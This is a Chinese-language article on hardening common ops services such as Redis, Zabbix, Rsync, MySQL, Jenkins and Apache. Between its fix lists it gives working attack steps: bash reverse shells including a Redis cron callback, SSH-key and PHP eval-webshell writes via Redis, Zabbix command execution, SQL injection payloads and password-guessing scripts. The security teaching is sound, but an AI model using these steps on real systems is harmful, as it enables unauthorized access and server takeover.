0


运维常见服务安全漏洞修复建议

文章目录

常见运维漏洞

漏洞☞ Zabbix

zabbix漏洞的危害

  • Zabbix配置不当安全事件

sohu的zabbix,可导致内网渗透案例
https://www.secpulse.com/archives/15568.html

网易zabbix运维不当,导致人一名了执行
https://www.77169.com/exploits/2013/20130604135100.shtm

  • Zabbix弱口令利用

Zabbix默认的口令为Admin:zabbix,以及存在guest密码为空
Zabbix Server可以远程在agent的机器上执行任意命令
建立监控项
zabbix_get命令调用(执行一些命令)
system.run[command,] 运行命令
这个模块是agent自带的,获取服务器shell,获取root权限。

监控项

bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
nc -lvp 8080  监控反弹

zabbix_get命令调用

zabbix_get -s 127.0.0.1 -k 'system.run[cat /etc/passwd]'
  • Zabbix 注入利用
latest.php SQL注入漏洞(CVE-2016-10134)

Payload: latest.php?output=ajax&sid=055e1ffa36164a58&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)

jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)
  • 攻击方法

默认口令
注入漏洞
BurpSuite爆破口令

  • 修复建议

不要放外网
修改默认密码
禁用guest用户
不要用root启动
401认证
备份数据升级版本


漏洞☞ Rsync (配置不当引发的问题)

rsync 介绍

Rsync(remote synchroniz)是一款实现远程同步功能的软件,它在同步文件的同时,可以报出原来文件的权限,时间,软硬链接等附加信息


rsync默认同步时是不加密的,可使用ssh隧道的方式来进行加密同步

配置参数介绍

uid = nobody  # 配置错误的写法是root
gid = nobody  # 同上
use chroot = no
max connections = 2000
pid file = /var/run/rsyncd.pid
local file = /var/run/rsync.lock
log file = /var/log/rsyncd.log
timeout = 900
ignore errprs
read only = false  # 配置错误的写法是True
list = true
hosts allow = 192.168.137.0/24
host deny = 0.0.0.0/24
auth users = test   # 默认禁用是错误的
secrets file = /etc/rsync.password   # 默认禁用是错误的
[bak]
comment = Welcome Rsync
path = /root/rsync/test/

漏洞扫描

nmap -n --open -p 873 192.168.137.0/24
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mkMTpkIa-1669885374738)(https://note.youdao.com/yws/public/resource/4089f2d94ad65251efd6e0a5325ebfcd/xmlnote/WEBRESOURCE49215fee1c4529eaf02d85a4a670299a/23268)]
根据扫描出的端口和Ip进行登录
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YIWDG3pv-1669885374739)(https://note.youdao.com/yws/public/resource/4089f2d94ad65251efd6e0a5325ebfcd/xmlnote/WEBRESOURCEf8f5b2f483f99d6b07b075b55351ba4a/23275)]

简易版本rsync脚本扫描

"""
 扫描开放的rsync的873端口
 获取rsync目录
 密码尝试
"""
import os
import datetime
import socket
from socket import *
import threading

def save_file(file):
    file_name = datetime.datetime.now().strftime('%Y-%m-%d')
    # 拼接一个ip端口是打开的txt文本
    new_file = '{}_open.txt'.format(file_name)
    # 向文本中追加已扫描开放873端口的IP地址
    with open(new_file, 'a+', encoding='utf-8')as fp:
        fp.writelines(file + '\n')

def socket_request(traip, tarport):
    try:
        timeout = 2
        setdefaulttimeout(timeout)
        # 建立socket
        sock = socket.socket()
        address = (str(traip), int(tarport))
        sock.connect(address)
        sock.close()
        # print(traip)
        info = '{}:{} Open Status'.format(traip, tarport)
        print('\033[6;30;42m' + info + '\033[0m')
        save_file(traip)
        yield info
    except:
        print('\033[0;31m' + "{}:{} {}".format(traip, tarport, 'Close Status') + '\033[0m')

def port_open_scan():
    with open('ip.txt', 'r', encoding='utf-8')as read_ip:
        tarport = 873
        for ip in read_ip:
            # 去除两边空格
            tarport_ip = ip.strip()
            # for x in socket_request(tarport_ip, tarport):
            #     pass
            return tarport_ip

def rsync_pass_check(ip):
    ip = ip.strip()
    # 命令拼接
    command = "rsync" + ip + "::"
    # 打印检查IP
    print("chechking: {}".format(ip))
    dirlist = []
    for line in os.popen(command):
        x = line.find("\t")
        y = line[0:x]
        dirlist.append(y)

    for dir in dirlist:
        userlist = ["test", "root", "rsync"]
        for user in userlist:
            # 拼接一条rsync执行的命令包含:用户名,ip
            crack_command = "rsync" + user + "@" + ip + "::" + dir + "-_password_file=pass.txt"
            try:
                output = os.system(crack_command)
                if os.popen(crack_command).read():
                    res_str = "[+] Vul Found:" + crack_command
                    with open("Vuln_IP.txt", "a+", encoding="utf-8")as fp:
                        fp.write(res_str + "\n")
                else:
                    pass
            except Exception as e:
                print(e)

def main():
    port_open_scan()
    open_port = "{}_open.txt".format(datetime.datetime.now().strftime("%Y-%m-%d"))

    with open(open_port, 'r', encoding="utf-8")as f:
        iplist = f.readlines()
        for ip in iplist:
            rsync_pass_check(ip)

if __name__ == '__main__':
    # 多线程
    t = threading.Thread(target=main)
    t.start()

修复建议

限定访问的IP
不允许匿名访问
防止弱口令
禁用root权限


漏洞☞ Redis配置不当

Redis安全事件

redis是一个开源,支持网络、基于内存、键值对存储数据库,使用ANSI C编写
自从Redis未授权问题获取Linux系统root权限的攻击方法的披露后,由于其易用性,利用该问题入侵Linux服务进行挖矿

Redis未授权访问漏洞

条件
1.redis服务以root账户运行;
2.Redis无密码或弱密码进行认证;
Redis监听在0.0.0.0;

危害:被攻击者拿到服务器权限

原理:Redis未授权访问在4.X/5.0.5以前版本下,攻击者可以用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。

redis默认安装,无修改配置

[root@controller ~]# ps -ef |grep redis
root      14962   9445  0 17:37 pts/0    00:00:00 ./redis-server *:6379
root      14992  14970  0 17:37 pts/1    00:00:00 grep --color=auto redis
[root@controller ~]#

根据无修改配置,没有密码的话远程可以直接进行链接
root@kali:~/redis-5.0.4/src# ./redis-cli -h 192.168.137.45 -p 6379
192.168.137.45:6379>

假设知道网站的默认路径,做如下操作
条件:网站路径
config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php phpinfo();?>"
save

使用工具进行连接脚本,就可以访问到网站中程序

写入crontab任务

通过工具获取webshell

如果crontab中存在脚本信息,表示系统已经被入侵了

set x "\n* * * * * bash -i >& /dev/tcp/192.168.4.107/6666 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
Save

Attack: nc –lvnp 6666  # 攻击者监听端口

Redis未授权访问漏洞–利用计划任务反弹shell

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wUWKISb0-1669885374740)(http://note.youdao.com/yws/public/resource/4089f2d94ad65251efd6e0a5325ebfcd/xmlnote/4AB7A964D3954580ADDC7B02EB684DF4/26231)]

打开kali的nc监听
nc -vvvp prot
安装redis客户端后,连接redis
redis-cli -h xxx.xxx.xxx.xxx

一次设置:写入文件的目录、写入文件名、文件内容,最后输入save保存,等待kali的shell弹回来
6379> config set dir /var/spool/cron/
6379> config set dbfilename root
6379> set xxx "\n\n* * * * * /bin/bash -i >&/dev/tcp/xxx.xxx.xxx.xxx/prot 0>&1\n\n"
6379> save

写入ssh公钥

客户端生成 root@kali:~# ssh-keygen -t rsa

处理公钥:

1.生成公钥
root@kali:~/.ssh# cat id_rsa.pub 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWscDvDdgutEM4w3WuMhoU7vkbOIVZxP+lKOkoYgfNYOhhwq8xbfhPBPlsohkwHqOUu7t9QMDVSoxvKz34f7nuLYNn+3te0MaYWZOh42cmzHj6m2hfiycfI7QZ3QQMp4Og9tyB0+0PuzIPmOEa2djwRZEKzdT0sfYiz98q8svK/+RJ2g4pOMswC4xa4TrHUkWbqBMX7tpWkqvPaYrROuhx3JlSF6cp7G0xd6cUHGH9+BHX64aFHHu7WjnLd81Hm+enie4y5ymU+6n3RUqc3hg9n/ZNlv1T9qUlIQ45WZCjcQUFutEFuXMlXbn2sFr4w66IjByuHJFyth99C+1cevQb root@kali
2.将公钥保存成txt
root@kali:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
3.将公钥文件存入变量
root@kali:~/.ssh# 
cat foo.txt |redis-cli -h 192.168.137.40 -x set crackit

登录到redis主机
redis-cli -h 192.168.137.40
设置如下操作

// 查看redis的备份路径
config get dir
// 更改备份路径为ssh公钥路径
config set dir /root/.ssh/
// 攻击姿势,写入公钥
config set dbfilename "authorized_keys"
save

连接
ssh -i id_rsa [email protected]

处理完成之后直接写入redis
root@kali:~/.ssh# cat foo.txt | redis-cli -h 192.168.137.45 -x set crackit

Python爆破redis,弱密码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-0Ytpk6dO-1669885374740)(https://note.youdao.com/yws/public/resource/4089f2d94ad65251efd6e0a5325ebfcd/xmlnote/WEBRESOURCE1edd7d0647ef3522dc53c5f4ce77c795/23342)]

写入webshell

前提:知道网站根目录的绝对路径

原理:向根据经写webshell,推荐一句话木马。<?php @eval($_POST'1']);?>

攻击流程:

向网站根目录中如如一句话木马
6379> config set dbfilename myoneshell.php
6379> config set dir /www/admin/wwwroot
6379> set oneword "/n<?php @eval($_POST['a'])?>\n<>"
6379> save

直接访问,目前报404错误就说明上传成功

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LgCQqrlD-1669885374741)(http://note.youdao.com/yws/public/resource/4089f2d94ad65251efd6e0a5325ebfcd/xmlnote/CB2670C30F0842269BBF5FBDADD7E524/26249)]

修复建议

设置复杂密码
尽量不要把REDIS暴露在公网
普通权限启动
对.ssh降权和锁定
1.Redis服务只监听本机,可通过修改redis.conf配置文件中的"#bind 127.0.0.1",去掉前面的"#"即可
2.设置密码访问认证,可通过修改redis.conf配置文件中的“requirepass”设置复杂密码(需要重启redis服务才能生效);
3.对访问源IP进行访问控制,可在防火墙限定指定源ip才可以连接Redis服务器;
4.修改Redis默认端口,将默认的6379端口修改为其他端口;
5.禁用config指令避免恶意操作,在Redis配置文件redis.conf中配置rename-command项“RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config指令加大难度;
6.Redis使用普通用户权限,禁止使用root权限启动Redis服务,这样可以保证在存在漏洞的情况下攻击者也只能获取到普通用户权限,无法获取root权限;

漏洞☞ ElasticSearch 配置不当

CVE-2014-3120漏洞详情

https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120

CVE-2015-3337 目录穿越

在安装了具有“site”功能的插件以后,插件目录使用…/即可向上跳转,导致目录穿越漏洞,可读取任意文件。没有安装任意插件的elasticsearch不受影响。

安全加固

不要暴露在公网上
不要以root身份运行
9200加上Http Basic-Auth基本身份认证

修复性建议

限定访问的IP
不允许匿名访问
防止弱口令
禁用root权限
升级版本
在elasticsearch.yml里配置script.disable_dynamic:true // 禁止脚本执行


漏洞☞ Mongodb 未授权访问

MongoDB勒索事件

2016年底至2017年初,爆发了针对MongoDB的勒索事件。

案例

MongoDB数据库意外暴露超过200万墨西哥公民的医疗健康数据
https://www.freebuf.com/news/180103.html

未授权访问漏洞

案例

某游戏平台mongodb未授权访问泄露大量数据
https://wystatic.tuisec.win/static/bugs/wooyun-2015-0101829.html

造成的原因

在刚安装完毕的时候MongoDB都默认有一个admin数据库,此时admin数据库是空的,没有记录权限相关的信息!

安全加固

MongoDB黑客事件浅析
https://blog.csdn.net/wl812peter/article/details/56841989
确保对MongoDB数据库启用了身份验证
不要开放到公网0.0.0.0
备份机制(勤备份)


漏洞☞ Memcached 未授权访问

Memcached未授权访问

Memcached是一个高性能的分布式的内存对象缓存系统,能够用于存储各种格式的数据、图像、视频、文件等…,就是将数据调用到内存中,然后从内存中读取,从而大大提高读取的速度

错误配置

Memcached服务器端都是直接通过客户端连接后直接操作,没有任何的验证过程,且Mecached默认以root权限运行。因而如果Mecached服务器直接暴露在互联网上的话是比较危险,轻则造成敏感数据泄露,重则可导致服务器被入侵

执行命令:memcached -d -m 100 -u root -p 11211 -c 512 -P /tmp/memcached.pid

存在错误配置客户端可执行: telnet 192.168.4.4 11211 进行检测登陆

案例

memcached未作IP限制导致缓存数据可被攻击者控制
https://wystatic.tuisec.win/static/bugs/wooyun-2010-0790.html

Memcached DRDoS攻击

DRDoS是英文“Distributed Reflection Denial of Service ”的缩写,中文意思是“分布式反射拒绝服务”。与DoS、DDoS不同,该方式靠的是发送大量带有被害者IP地址的数据包给攻击主机,然后攻击主机对IP地址源做出大量回应,形成拒绝服务攻击

满足条件
要支持的条件
Memcached支持UDP
Memcached大部分是作为企业应用的组件,往往具有很高的上传带宽。
Memcached不需要认证就可以随意交互。
memcached -U 11211 -d -m 100 -u root -l 0.0.0.0 -p 11211 -c 512 -P /tmp/memcached.pid

脚本案例

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DPcOkLDR-1669885374741)(https://note.youdao.com/yws/public/resource/4089f2d94ad65251efd6e0a5325ebfcd/xmlnote/1347689719A34E4B92DBC81A58C9C91F/23421)]

安全加固

限制访问IP
设置启动用户
新版本Memcached
配置监听地址仅限本地回环地址


漏洞☞ Jenkins

jekins 简介

Jenkins是一个开源软件项目,是基于JAVA开发的一种持续集成工具,用于监控持续重复的工作
JenkinsMiner加密货币挖矿软件攻击我国某机构案例
https://paper.tuisec.win/detail/a67d6915379bb86

序列化和反序列化

序列化就是把对象转成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象

Jenkins-CI 远程代码执行漏洞

受影响版本
所有Jenkins主版本均受到影响(包括<=2.56版本)
所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)

环境下载:https://github.com/vulhub/vulhub/tree/master/jenkins/CVE-2017-1000353
复现:
生成序列化字符串
java -jar payload.jar jenkins_poc.ser "touch /tmp/jenkins_0day"

发送数据包,执行命令
Python exploit.py

安全加固

升级版本


漏洞☞ Mysql

Mysql 身份认证漏洞

CVE-2012-2122
输入的密码会与期望的正确密码比较,由于不正确的处理,也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库,概率为1/256
https://blog.rapid7.com/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql

受影响版本

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

CVE-2012-2122漏洞环境

docker-compose.yml

version: '2'
services:
 mysql:
    image: vulhub/mysql:5.5.23
    ports:
        - "3306:3306”

启动环境

docker-compose up -d
CVE-2012-2122利用,三种方法分别是
Bash:
for i in

seq 1 1000

; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
Metasploit:
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
Python:
#!/usr/bin/python import subprocess while 1: subprocess.Popen(“mysql -u root mysql --password=blah”, shell=True).wait


Mysql 信息探测

nmap
模块 auxiliary/scanner/mysql/mysql_version
九头鸟(Hydra爆破MySQL密码)

MYSQL 注入利用

读文件
读数据库密码
在一定条件下可以into outfile、into dumpfile
SQLMAP工具辅助注入

MYSQL 安全加固

1. 检查是否避免运维账号共享
2. 检查是否使用默认端口
3. 检查是否设置禁止MySQL对本地文件存取
revoke file on *.* from 'user3'@'127.0.0.1’; 
4. 检查test库是否已被删除。
SHOW DATABASES LIKE 'test';
DROP DATABASE "test";
5. 检查默认管理员账号是否已更名
update user set user="newUserName" where user="root";
6. 设置MySQL守护进程专用最小特权帐户
ps -ef|egrep "^mysql.*$"
7. 禁用MySQL命令历史记录
将MYSQL_HISTFILE环境变量设置为/dev/null,.bash_profile,export MYSQL_HISTFILE=/dev/null
ln -s /dev/null $HOME/.mysql_history
8. 备份策略
9. 确保仅管理员具有完全数据库访问权限
网站配置不允许使用root权限
错误:grant all on *.* to user1 identified by ‘123456’;
指定数据库:
grant all on db1.* to ‘user2’@‘ip’ identified by ‘123456’;`

phpmyadmin

弱口令危害
获得数据库,可根据mysql函数查看系统命令
获得WebShell,可根据mysql函数查看系
通过日志获取webshell

mysql> show variables like '%general%'; 
mysql> set global general_log = on;

mysql> set global general_log_file ='网站路径’; 
mysql> select ‘<?php phpinfo(); ?>;

mysql> set global general_log_file =‘还原’; 
mysql> set global general_log = off;

安全加固-Centos7

攻击者角度

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HScUOrIy-1669885374742)(https://note.youdao.com/yws/public/resource/4089f2d94ad65251efd6e0a5325ebfcd/xmlnote/WEBRESOURCEad531950291f4b3c73b33500f0016e34/23502)]

SSH密码

服务器上所有账号的密码都要采用毫无关联的强密码,密码为不少于16位的大小写字母数字特殊符号的组合
yum -y install expect && mkpasswd

修改SSH配置文件

改默认端口
禁止root账户登录
指定允许登录账号

启用强制密码长度策略,配置如下

/etc/login.defs
PASS_MIN_LEN 13

检查是否存在除root之外UID为0的用户
awk -F: '($3 == 0) { print $1 }' /etc/passwd

检测登陆系统是否需要密码
awk -F: '($2 == ""){print $1}' /etc/passwd

帐户口令复杂度及定期更换

禁用NAT

echo 0 > /proc/sys/net/ipv4/ip_forward

Bash日志

设置环境变量为只读:
readonly HISTFILE
readonly HISTFILESIZE
readonly HISTSIZE
readonly HISTCMD
readonly HISTCONTROL
readonly HISTIGNORE

为history文件添加时间

export HISTTIMEFORMAT=‘%F %T’

设置history文件只能追加:

chatter +a ~/.bash_history

安全加固前,该配置需在测试环境测试如果不影响业务或系统,方可进行对线上机器的配置修改


安全加固 Apache

服务器Banner信息隐藏

配置修改如下
etc/httpd/conf/httpd.conf
ServerTokens Prod
ServerSignature Off

php版本信息

vim /etc/pnp.ini
expose_php=off

php-fpm版本信息隐藏

fastcgi_param SERVER_SOFTWARE nginx/$nginx_version;
改为:

fastcgi_param SERVER_SOFTWARE nginx0.0.0;#(这个nginx0.0.0就是显示的内容)

防止列目录泄露敏感信息

Options Indexes FollowSymLinks改为 Options FollowSymLinks

指定目录禁止php解析

<Directory "/var/www/html/uploads">
php_flag engine off
</Directory>

限制管理员后台特定IP访问

<Directory "/var/www/html/admin"> 
    Order Deny,Allow
    Deny from all
    Allow from 192.168.1.111
</Directory> 

关闭对.htaccess的支持

AllowOverride None

本文转载自: https://blog.csdn.net/chuangxinweike/article/details/128135129
版权归原作者 顾此失彼 所有, 如有侵权,请联系我们删除。

“运维常见服务安全漏洞修复建议”的评论:

还没有评论